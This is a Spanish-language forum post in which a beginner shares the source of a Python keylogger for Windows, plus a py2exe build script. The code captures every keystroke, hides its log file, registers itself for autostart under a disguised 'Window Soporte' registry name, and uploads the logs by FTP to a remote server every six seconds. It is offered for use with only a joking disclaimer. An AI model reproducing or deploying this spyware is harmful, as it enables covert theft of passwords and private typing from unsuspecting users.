Hoy traigo este Keylogger que estube desarrolando no se como lo tomen , talves algunas personas pienses que es una mala idea pero bueno es la primera cosa que termino de desarollar en python.
El keylogger esta echo siguiendo varios ejemplos pero le dejo el codigo.
Talves no sea muy limpio y no tan bueno pero talves me puedan ayudar a corregir.
Incluye FTP y auto registro para el inicio de windows.
Tiene muchas depencias eso si.
Las dependecias sonCreo que esos son todos.
El Programa esta en echo en python26 porque venia istalado por defecto.
Esta echo en windows Seven Eclipse PyDev.
Keylogger.py
Código Python:
Ver original
#Creado por @Y_mil(Twitter) o Lautaro_eb #No me ago cargo del mal uso de la aplicacion xD #Creditos Yo , y otras web que vi tantas que ni me acuerdo. #22/08/2011 import pyHook,pythoncom import win32api,win32con import os import random import platform from threading import * from time import asctime from ftplib import FTP num = random.randint(0,100) string = "" #Obtenemos direccion de trabajo actual. dir = os.getcwd() #Nombre donde de la aplicacion. arname = "keylogger.exe" name = "%s\suport.log" % dir #Configuracion del ftp user = "" password = "" host = "" #Ruta donde se guardan los logs dirLogs = "D:\soport.log" #Obtenemos el nombre del ordenador filename = platform.node() try: #Conectamos al FTP con = FTP(host,user,password) #Obtenemos nomnbre de archivo archivo = "%s\%s" % (dir,arname) #direction = "cmd /c reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run /v WindowSoports /d %s /f" % (archivo) #Los registramos a regedit de windows keyp = _winreg.OpenKey( _winreg.HKEY_CURRENT_USER, 'Software\\Microsoft\Windows\\CurrentVersion\\Run',0, _winreg.KEY_SET_VALUE) _winreg.SetValueEx (keyp, 'Window Soporte', 0, _winreg.REG_SZ, archivo) _winreg.CloseKey(keyp) #Ocultamos el archivo. win32api.SetFileAttributes(dirLogs,win32con.FILE_ATTRIBUTE_HIDDEN) #win32api.SetFileAttributes(dirLogs,win32con.FILE_ATTRIBUTE_HIDDEN) except: #La exepcion no muestra nigna informacion valorable print "" def send(): """Esta funcion es la encarga de mandar el archivo al servidor FTP Es llama cada 6 Segundos , no pasa nigun parametro.""" try: #Obtenemos la direccion de archivo archivo = "%s\%s" % (dir,name) #Abrimos el archivo file = open(dirLogs,"rb") #Carpeta que se utilizara para guardar los archivos con.cwd("/public_html") #Comando Ftp para subir el archivo nameFile = "STOR %s-%d.logs" % (filename,num) con.storbinary(nameFile,file) #Cerramos el archivo. file.close() except: print "" time = Timer(6.0,send) time.start() #Creamos un timer que llama cada 6 segundos a send time = Timer(6.0,send) time.start() def savefile(text): """Esta Funcion es la encargada de almasenar los datos en un archivo Parametro text : String""" #Obtenemos Fecha y hora dt = asctime() #Generamos el string a guardar string = "%s:%s \n" % (dt,text) #Abrimos el archivo file = open(dirLogs,"a") #Escribimos la informacion file.write(string) #Y Serramos el cursor file.close() string = "" def toma(frase): """Funcion encargada de guardar las entradas del teclado""" global string string += " %s" % frase.Key """Cuando hay mas de 5 letras o 5 este se guarda en el archivo""" if len(string) >= 5: savefile(string) string = "" def capturar(): """Funcion Encargada de capturas las entradas del teclado""" nave = pyHook.HookManager() nave.KeyDown = toma nave.HookKeyboard() #pythoncom.PumpMessages() pythoncom.PumpMessages() while 1: """Bucle infinito para obtener la campturas""" capturar() # The End try: """Cerramos la conexion""" con.quit() except: print ""
Setup.py
Código Python:
Ver original
from distutils.core import setup import py2exe setup(windows=['keylogger.pyw'])
Bueno gente , talves no le sirva , talves piensen que es una estupides pero bueno.
Espero que le sirva y suerte.
PD: Recien Sacado del Horno.